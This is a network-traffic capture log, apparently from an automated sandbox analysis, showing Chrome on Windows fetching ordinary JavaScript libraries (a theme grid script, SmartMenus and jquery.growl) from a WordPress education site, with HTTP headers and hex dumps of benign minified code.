2024-04-11 21:26:44 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7cfc1c0cac-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-10a4" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GwQTDl9EkONXemhUr1s3ZYZRKa6oYnYSwGh7VFuIWra2sDwvz2GBG6NOwqCX7Gt3nSLudAkk07S74hGhjC95MF5U7ByWfgTIAY%2FMfYKLbcZpEDeUdlNFlgBfTr6KwXVhIyc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:44 UTC	433	IN	Data Raw: 31 30 61 34 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 4c 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 73 28 45 2c 74 29 7b 74 68 69 73 2e 5f 69 73 6f 74 6f 70 65 4f 70 74 69 6f 6e 73 3d 7b 69 74 65 6d 53 65 6c 65 63 74 6f 72 3a 22 2e 67 72 69 64 2d 69 74 65 6d 22 2c 70 65 72 63 65 6e 74 50 6f 73 69 74 69 6f 6e 3a 21 30 2c 74 72 61 6e 73 69 74 69 6f 6e 44 75 72 61 74 69 6f 6e 3a 30 2c 70 61 63 6b 65 72 79 3a 7b 63 6f 6c 75 6d 6e 57 69 64 74 68 3a 22 2e 67 72 69 64 2d 73 69 7a 65 72 22 7d 2c 66 69 74 52 6f 77 73 3a 7b 67 75 74 74 65 72 3a 31 30 7d 7d 2c 74 68 69 73 2e 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6f 3d 74 68 69 73 2c 69 3d 45 2e 66 69 6e 64 28 22 2e 65 64 75 6d 61 6c 6c 2d 67 72 69 64 22 29 2c 65 3d Data Ascii: 10a4!function(L){"use strict";function s(E,t){this._isotopeOptions={itemSelector:".grid-item",percentPosition:!0,transitionDuration:0,packery:{columnWidth:".grid-sizer"},fitRows:{gutter:10}},this.init=function(){var t,o=this,i=E.find(".edumall-grid"),e=
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 6f 74 6f 70 65 4f 70 74 69 6f 6e 73 2e 6c 61 79 6f 75 74 4d 6f 64 65 3d 22 66 69 74 52 6f 77 73 22 2c 69 2e 69 6d 61 67 65 73 4c 6f 61 64 65 64 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 63 61 6c 63 75 6c 61 74 65 4d 61 73 6f 6e 72 79 53 69 7a 65 28 29 2c 22 67 72 69 64 22 3d 3d 3d 65 2e 74 79 70 65 26 26 28 69 2e 63 68 69 6c 64 72 65 6e 28 22 2e 67 72 69 64 2d 69 74 65 6d 22 29 2e 6d 61 74 63 68 48 65 69 67 68 74 28 29 2c 69 2e 69 73 6f 74 6f 70 65 28 22 6c 61 79 6f 75 74 22 29 29 2c 69 2e 61 64 64 43 6c 61 73 73 28 22 6c 6f 61 64 65 64 22 29 7d 29 2e 6f 6e 65 28 22 61 72 72 61 6e 67 65 43 6f 6d 70 6c 65 74 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 68 61 6e 64 6c 65 72 45 6e 74 72 61 6e 63 65 41 6e 69 6d 61 74 69 6f 6e 28 29 2c 6f 2e 68 61 6e 64 6c Data Ascii: otopeOptions.layoutMode="fitRows",i.imagesLoaded(function(){o.calculateMasonrySize(),"grid"===e.type&&(i.children(".grid-item").matchHeight(),i.isotope("layout")),i.addClass("loaded")}).one("arrangeComplete",function(){o.handlerEntranceAnimation(),o.handl
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 65 69 67 68 74 3a 30 2c 6d 3d 76 6f 69 64 20 30 21 3d 3d 72 2e 7a 69 67 7a 61 67 48 65 69 67 68 74 54 61 62 6c 65 74 3f 72 2e 7a 69 67 7a 61 67 48 65 69 67 68 74 54 61 62 6c 65 74 3a 68 2c 66 3d 76 6f 69 64 20 30 21 3d 3d 72 2e 7a 69 67 7a 61 67 48 65 69 67 68 74 4d 6f 62 69 6c 65 3f 72 2e 7a 69 67 7a 61 67 48 65 69 67 68 74 4d 6f 62 69 6c 65 3a 6d 2c 79 3d 76 6f 69 64 20 30 21 3d 3d 72 2e 7a 69 67 7a 61 67 52 65 76 65 72 73 65 64 26 26 31 3d 3d 3d 72 2e 7a 69 67 7a 61 67 52 65 76 65 72 73 65 64 2c 76 3d 31 30 32 35 2c 7a 3d 37 36 38 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 43 6f 6e 66 69 67 26 26 28 76 3d 65 6c 65 6d 65 6e 74 6f 72 46 72 6f 6e 74 65 6e 64 43 6f 6e 66 69 67 2e 62 72 Data Ascii: eight:0,m=void 0!==r.zigzagHeightTablet?r.zigzagHeightTablet:h,f=void 0!==r.zigzagHeightMobile?r.zigzagHeightMobile:m,y=void 0!==r.zigzagReversed&&1===r.zigzagReversed,v=1025,z=768;"undefined"!=typeof elementorFrontendConfig&&(v=elementorFrontendConfig.br
2024-04-11 21:26:44 UTC	1097	IN	Data Raw: 65 64 75 6d 61 6c 6c 2d 67 72 69 64 22 29 2e 66 69 6e 64 28 22 2e 67 72 69 64 2d 69 74 65 6d 22 29 2e 65 6c 65 6d 65 6e 74 6f 72 57 61 79 70 6f 69 6e 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 65 6c 65 6d 65 6e 74 7c 7c 74 68 69 73 3b 4c 28 74 29 2e 61 64 64 43 6c 61 73 73 28 22 61 6e 69 6d 61 74 65 22 29 7d 2c 7b 6f 66 66 73 65 74 3a 22 39 30 25 22 2c 74 72 69 67 67 65 72 4f 6e 63 65 3a 21 30 7d 29 7d 2c 74 68 69 73 2e 68 61 6e 64 6c 65 72 54 6f 6f 6c 74 69 70 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 45 2e 64 61 74 61 28 22 70 6f 77 65 72 2d 74 69 70 22 29 3b 6f 26 26 4c 2e 70 6f 77 65 72 54 69 70 26 26 45 2e 66 69 6e 64 28 22 2e 65 64 75 6d 61 6c 6c 2d 74 6f 6f 6c 74 69 70 22 29 2e 65 61 63 68 28 66 75 6e 63 Data Ascii: edumall-grid").find(".grid-item").elementorWaypoint(function(){var t=this.element\|\|this;L(t).addClass("animate")},{offset:"90%",triggerOnce:!0})},this.handlerTooltips=function(){var o=E.data("power-tip");o&&L.powerTip&&E.find(".edumall-tooltip").each(func
2024-04-11 21:26:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.17	49836	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	942	OUT	GET /wp-content/plugins/elementor-pro/assets/lib/smartmenus/jquery.smartmenus.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:44 UTC	938	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7f0b7719c3-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32ba-6272" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:37:30 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e3fMNZI67MvYWIg9EfmvkbbPK9F8QzvdgxEoW8Xr3LIDwazij3PbA66Fd9c3BX%2BiYMLGpcMBEYk1IVaqDpwifkfDyM5GL%2FFFIg1lENFMRMrm3GvtrWRxxqtXqT82m8PlMqo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:44 UTC	431	IN	Data Raw: 36 32 37 32 0d 0a 2f 2a 21 20 53 6d 61 72 74 4d 65 6e 75 73 20 6a 51 75 65 72 79 20 50 6c 75 67 69 6e 20 2d 20 76 31 2e 30 2e 31 20 2d 20 4e 6f 76 65 6d 62 65 72 20 31 2c 20 32 30 31 36 0a 20 2a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 73 6d 61 72 74 6d 65 6e 75 73 2e 6f 72 67 2f 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 56 61 73 69 6c 20 44 69 6e 6b 6f 76 2c 20 56 61 64 69 6b 6f 6d 20 57 65 62 20 4c 74 64 2e 20 68 74 74 70 3a 2f 2f 76 61 64 69 6b 6f 6d 2e 63 6f 6d 3b 20 4c 69 63 65 6e 73 65 64 20 4d 49 54 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 6a 71 75 65 72 79 22 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 Data Ascii: 6272/! SmartMenus jQuery Plugin - v1.0.1 - November 1, 2016 http://www.smartmenus.org/ * Copyright Vasil Dinkov, Vadikom Web Ltd. http://vadikom.com; Licensed MIT */(function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==t
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 74 69 6f 6e 45 6e 61 62 6c 65 64 7c 7c 74 29 6d 6f 75 73 65 44 65 74 65 63 74 69 6f 6e 45 6e 61 62 6c 65 64 26 26 74 26 26 28 24 28 64 6f 63 75 6d 65 6e 74 29 2e 75 6e 62 69 6e 64 28 65 29 2c 6d 6f 75 73 65 44 65 74 65 63 74 69 6f 6e 45 6e 61 62 6c 65 64 3d 21 31 29 3b 65 6c 73 65 7b 76 61 72 20 69 3d 21 30 2c 73 3d 6e 75 6c 6c 3b 24 28 64 6f 63 75 6d 65 6e 74 29 2e 62 69 6e 64 28 67 65 74 45 76 65 6e 74 73 4e 53 28 5b 5b 22 6d 6f 75 73 65 6d 6f 76 65 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 7b 78 3a 74 2e 70 61 67 65 58 2c 79 3a 74 2e 70 61 67 65 59 2c 74 69 6d 65 53 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 7d 3b 69 66 28 73 29 7b 76 61 72 20 6f 3d 4d 61 74 68 2e 61 62 73 28 73 2e 78 2d 65 2e 78 29 2c Data Ascii: tionEnabled\|\|t)mouseDetectionEnabled&&t&&($(document).unbind(e),mouseDetectionEnabled=!1);else{var i=!0,s=null;$(document).bind(getEventsNS([["mousemove",function(t){var e={x:t.pageX,y:t.pageY,timeStamp:(new Date).getTime()};if(s){var o=Math.abs(s.x-e.x),
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 54 69 6d 65 6f 75 74 3d 30 2c 74 68 69 73 2e 73 63 72 6f 6c 6c 54 69 6d 65 6f 75 74 3d 30 2c 74 68 69 73 2e 63 6c 69 63 6b 41 63 74 69 76 61 74 65 64 3d 21 31 2c 74 68 69 73 2e 66 6f 63 75 73 41 63 74 69 76 61 74 65 64 3d 21 31 2c 74 68 69 73 2e 7a 49 6e 64 65 78 49 6e 63 3d 30 2c 74 68 69 73 2e 69 64 49 6e 63 3d 30 2c 74 68 69 73 2e 24 66 69 72 73 74 4c 69 6e 6b 3d 6e 75 6c 6c 2c 74 68 69 73 2e 24 66 69 72 73 74 53 75 62 3d 6e 75 6c 6c 2c 74 68 69 73 2e 64 69 73 61 62 6c 65 64 3d 21 31 2c 74 68 69 73 2e 24 64 69 73 61 62 6c 65 4f 76 65 72 6c 61 79 3d 6e 75 6c 6c 2c 74 68 69 73 2e 24 74 6f 75 63 68 53 63 72 6f 6c 6c 69 6e 67 53 75 62 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 73 73 54 72 61 6e 73 66 6f 72 6d 73 33 64 3d 22 70 65 72 73 70 65 63 74 69 76 65 22 69 Data Ascii: Timeout=0,this.scrollTimeout=0,this.clickActivated=!1,this.focusActivated=!1,this.zIndexInc=0,this.idInc=0,this.$firstLink=null,this.$firstSub=null,this.disabled=!1,this.$disableOverlay=null,this.$touchScrollingSub=null,this.cssTransforms3d="perspective"i
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 45 76 65 6e 74 73 4e 53 28 5b 5b 22 74 6f 75 63 68 73 74 61 72 74 22 2c 24 2e 70 72 6f 78 79 28 74 68 69 73 2e 64 6f 63 54 6f 75 63 68 53 74 61 72 74 2c 74 68 69 73 29 5d 2c 5b 22 74 6f 75 63 68 6d 6f 76 65 22 2c 24 2e 70 72 6f 78 79 28 74 68 69 73 2e 64 6f 63 54 6f 75 63 68 4d 6f 76 65 2c 74 68 69 73 29 5d 2c 5b 22 74 6f 75 63 68 65 6e 64 22 2c 24 2e 70 72 6f 78 79 28 74 68 69 73 2e 64 6f 63 54 6f 75 63 68 45 6e 64 2c 74 68 69 73 29 5d 2c 5b 22 63 6c 69 63 6b 22 2c 24 2e 70 72 6f 78 79 28 74 68 69 73 2e 64 6f 63 43 6c 69 63 6b 2c 74 68 69 73 29 5d 5d 2c 69 29 29 2c 24 28 77 69 6e 64 6f 77 29 2e 62 69 6e 64 28 67 65 74 45 76 65 6e 74 73 4e 53 28 5b 5b 22 72 65 73 69 7a 65 20 6f 72 69 65 6e 74 61 74 69 6f 6e 63 68 61 6e 67 65 22 2c 24 2e 70 72 6f 78 79 28 Data Ascii: EventsNS([["touchstart",$.proxy(this.docTouchStart,this)],["touchmove",$.proxy(this.docTouchMove,this)],["touchend",$.proxy(this.docTouchEnd,this)],["click",$.proxy(this.docClick,this)]],i)),$(window).bind(getEventsNS([["resize orientationchange",$.proxy(
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 72 72 6f 77 73 22 29 26 26 74 2e 64 61 74 61 53 4d 28 22 73 63 72 6f 6c 6c 2d 61 72 72 6f 77 73 22 29 2e 72 65 6d 6f 76 65 28 29 2c 74 2e 64 61 74 61 53 4d 28 22 73 68 6f 77 6e 2d 62 65 66 6f 72 65 22 29 26 26 28 28 69 2e 6f 70 74 73 2e 73 75 62 4d 65 6e 75 73 4d 69 6e 57 69 64 74 68 7c 7c 69 2e 6f 70 74 73 2e 73 75 62 4d 65 6e 75 73 4d 61 78 57 69 64 74 68 29 26 26 74 2e 63 73 73 28 7b 77 69 64 74 68 3a 22 22 2c 6d 69 6e 57 69 64 74 68 3a 22 22 2c 6d 61 78 57 69 64 74 68 3a 22 22 7d 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 73 6d 2d 6e 6f 77 72 61 70 22 29 2c 74 2e 64 61 74 61 53 4d 28 22 73 63 72 6f 6c 6c 2d 61 72 72 6f 77 73 22 29 26 26 74 2e 64 61 74 61 53 4d 28 22 73 63 72 6f 6c 6c 2d 61 72 72 6f 77 73 22 29 2e 72 65 6d 6f 76 65 28 29 2c 74 2e 63 Data Ascii: rrows")&&t.dataSM("scroll-arrows").remove(),t.dataSM("shown-before")&&((i.opts.subMenusMinWidth\|\|i.opts.subMenusMaxWidth)&&t.css({width:"",minWidth:"",maxWidth:""}).removeClass("sm-nowrap"),t.dataSM("scroll-arrows")&&t.dataSM("scroll-arrows").remove(),t.c
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 69 64 65 41 6c 6c 28 29 2c 21 74 26 26 21 74 68 69 73 2e 6f 70 74 73 2e 69 73 50 6f 70 75 70 26 26 74 68 69 73 2e 24 72 6f 6f 74 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 24 72 6f 6f 74 2e 6f 66 66 73 65 74 28 29 3b 74 68 69 73 2e 24 64 69 73 61 62 6c 65 4f 76 65 72 6c 61 79 3d 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6d 2d 6a 71 75 65 72 79 2d 64 69 73 61 62 6c 65 2d 6f 76 65 72 6c 61 79 22 2f 3e 27 29 2e 63 73 73 28 7b 70 6f 73 69 74 69 6f 6e 3a 22 61 62 73 6f 6c 75 74 65 22 2c 74 6f 70 3a 65 2e 74 6f 70 2c 6c 65 66 74 3a 65 2e 6c 65 66 74 2c 77 69 64 74 68 3a 74 68 69 73 2e 24 72 6f 6f 74 2e 6f 75 74 65 72 57 69 64 74 68 28 29 2c 68 65 69 67 68 74 3a 74 68 69 73 2e 24 72 6f 6f 74 2e 6f 75 74 65 72 48 65 Data Ascii: ideAll(),!t&&!this.opts.isPopup&&this.$root.is(":visible")){var e=this.$root.offset();this.$disableOverlay=$('<div class="sm-jquery-disable-overlay"/>').css({position:"absolute",top:e.top,left:e.left,width:this.$root.outerWidth(),height:this.$root.outerHe
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 73 61 62 6c 65 64 3d 21 31 29 7d 2c 67 65 74 43 6c 6f 73 65 73 74 4d 65 6e 75 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 24 28 74 29 2e 63 6c 6f 73 65 73 74 28 22 75 6c 22 29 3b 65 2e 64 61 74 61 53 4d 28 22 69 6e 2d 6d 65 67 61 22 29 3b 29 65 3d 65 2e 70 61 72 65 6e 74 28 29 2e 63 6c 6f 73 65 73 74 28 22 75 6c 22 29 3b 72 65 74 75 72 6e 20 65 5b 30 5d 7c 7c 6e 75 6c 6c 7d 2c 67 65 74 48 65 69 67 68 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 4f 66 66 73 65 74 28 74 2c 21 30 29 7d 2c 67 65 74 4f 66 66 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 69 3b 22 6e 6f 6e 65 22 3d 3d 74 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 26 26 28 69 3d 7b 70 6f 73 69 74 69 6f 6e 3a Data Ascii: sabled=!1)},getClosestMenu:function(t){for(var e=$(t).closest("ul");e.dataSM("in-mega");)e=e.parent().closest("ul");return e[0]\|\|null},getHeight:function(t){return this.getOffset(t,!0)},getOffset:function(t,e){var i;"none"==t.css("display")&&(i={position:
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 6e 22 62 6c 6f 63 6b 22 3d 3d 74 68 69 73 2e 24 66 69 72 73 74 4c 69 6e 6b 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 7d 2c 69 73 46 69 78 65 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 22 66 69 78 65 64 22 3d 3d 74 68 69 73 2e 24 72 6f 6f 74 2e 63 73 73 28 22 70 6f 73 69 74 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 74 7c 7c 74 68 69 73 2e 24 72 6f 6f 74 2e 70 61 72 65 6e 74 73 55 6e 74 69 6c 28 22 62 6f 64 79 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 66 69 78 65 64 22 3d 3d 24 28 74 68 69 73 29 2e 63 73 73 28 22 70 6f 73 69 74 69 6f 6e 22 29 3f 28 74 3d 21 30 2c 21 31 29 3a 76 6f 69 64 20 30 7d 29 2c 74 7d 2c 69 73 4c 69 6e 6b 49 6e 4d 65 67 61 4d 65 6e 75 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 Data Ascii: n"block"==this.$firstLink.css("display")},isFixed:function(){var t="fixed"==this.$root.css("position");return t\|\|this.$root.parentsUntil("body").each(function(){return"fixed"==$(this).css("position")?(t=!0,!1):void 0}),t},isLinkInMegaMenu:function(t){retu
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 6b 2e 73 6d 61 70 69 22 2c 65 5b 30 5d 29 3d 3d 3d 21 31 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 69 3d 24 28 74 2e 74 61 72 67 65 74 29 2e 69 73 28 22 73 70 61 6e 2e 73 75 62 2d 61 72 72 6f 77 22 29 2c 73 3d 65 2e 64 61 74 61 53 4d 28 22 73 75 62 22 29 2c 6f 3d 73 3f 32 3d 3d 73 2e 64 61 74 61 53 4d 28 22 6c 65 76 65 6c 22 29 3a 21 31 3b 69 66 28 73 26 26 21 73 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 29 7b 69 66 28 74 68 69 73 2e 6f 70 74 73 2e 73 68 6f 77 4f 6e 43 6c 69 63 6b 26 26 6f 26 26 28 74 68 69 73 2e 63 6c 69 63 6b 41 63 74 69 76 61 74 65 64 3d 21 30 29 2c 74 68 69 73 2e 69 74 65 6d 41 63 74 69 76 61 74 65 28 65 29 2c 73 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 29 72 65 74 75 72 6e 20 74 68 69 73 2e 66 6f 63 75 73 41 63 74 69 76 61 74 Data Ascii: k.smapi",e[0])===!1)return!1;var i=$(t.target).is("span.sub-arrow"),s=e.dataSM("sub"),o=s?2==s.dataSM("level"):!1;if(s&&!s.is(":visible")){if(this.opts.showOnClick&&o&&(this.clickActivated=!0),this.itemActivate(e),s.is(":visible"))return this.focusActivat
2024-04-11 21:26:44 UTC	1369	IN	Data Raw: 69 6d 65 6f 75 74 28 74 68 69 73 2e 73 68 6f 77 54 69 6d 65 6f 75 74 29 2c 74 68 69 73 2e 73 68 6f 77 54 69 6d 65 6f 75 74 3d 30 29 29 2c 65 2e 72 65 6d 6f 76 65 44 61 74 61 53 4d 28 22 6d 6f 75 73 65 64 6f 77 6e 22 29 2c 74 68 69 73 2e 24 72 6f 6f 74 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 6d 6f 75 73 65 6c 65 61 76 65 2e 73 6d 61 70 69 22 2c 65 5b 30 5d 29 29 7d 2c 6d 65 6e 75 48 69 64 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 24 72 6f 6f 74 2e 74 72 69 67 67 65 72 48 61 6e 64 6c 65 72 28 22 62 65 66 6f 72 65 68 69 64 65 2e 73 6d 61 70 69 22 2c 74 5b 30 5d 29 21 3d 3d 21 31 26 26 28 74 2e 73 74 6f 70 28 21 30 2c 21 30 29 2c 22 6e 6f 6e 65 22 21 3d 74 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 29 29 7b 76 61 72 20 65 Data Ascii: imeout(this.showTimeout),this.showTimeout=0)),e.removeDataSM("mousedown"),this.$root.triggerHandler("mouseleave.smapi",e[0]))},menuHide:function(t){if(this.$root.triggerHandler("beforehide.smapi",t[0])!==!1&&(t.stop(!0,!0),"none"!=t.css("display"))){var e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.17	49837	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:44 UTC	929	OUT	GET /wp-content/themes/edumall/assets/libs/growl/js/jquery.growl.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga=GA1.1.668614997.1712870801; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802
2024-04-11 21:26:44 UTC	935	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:44 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e7f0a862363-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-ffe" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zd6ruMcZcepSnMzS9KwdWCkwn6OJTxuS3l6dm6grffCkVWRmsAWVRMmHnjXtFZk4UjIG7JUxlyeHxjt0Ii9P5yJQNPh0hMQhx%2FQOYw97HL4QFTlZyTLWVPT5AoI0yGuBUaQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:44 UTC	434	IN	Data Raw: 66 66 65 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 2c 62 2c 63 3b 61 3d 6a 51 75 65 72 79 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6c 61 73 73 20 64 7b 73 74 61 74 69 63 20 74 72 61 6e 73 69 74 69 6f 6e 28 65 29 7b 76 61 72 20 66 2c 67 2c 68 2c 69 3b 66 6f 72 28 69 20 69 6e 20 66 3d 65 5b 30 5d 2c 67 3d 74 68 69 73 2e 74 72 61 6e 73 69 74 69 6f 6e 73 2c 67 29 69 66 28 68 3d 67 5b 69 5d 2c 6e 75 6c 6c 21 3d 66 2e 73 74 79 6c 65 5b 69 5d 29 72 65 74 75 72 6e 20 68 7d 7d 72 65 74 75 72 6e 20 64 2e 74 72 61 6e 73 69 74 69 6f 6e 73 3d 7b 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 3a 22 77 65 62 6b 69 74 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 6d 6f 7a 54 72 61 6e 73 69 74 69 6f 6e 3a 22 6d 6f Data Ascii: ffe(function(){"use strict";var a,b,c;a=jQuery,b=function(){class d{static transition(e){var f,g,h,i;for(i in f=e[0],g=this.transitions,g)if(h=g[i],null!=f.style[i])return h}}return d.transitions={webkitTransition:"webkitTransitionEnd",mozTransition:"mo
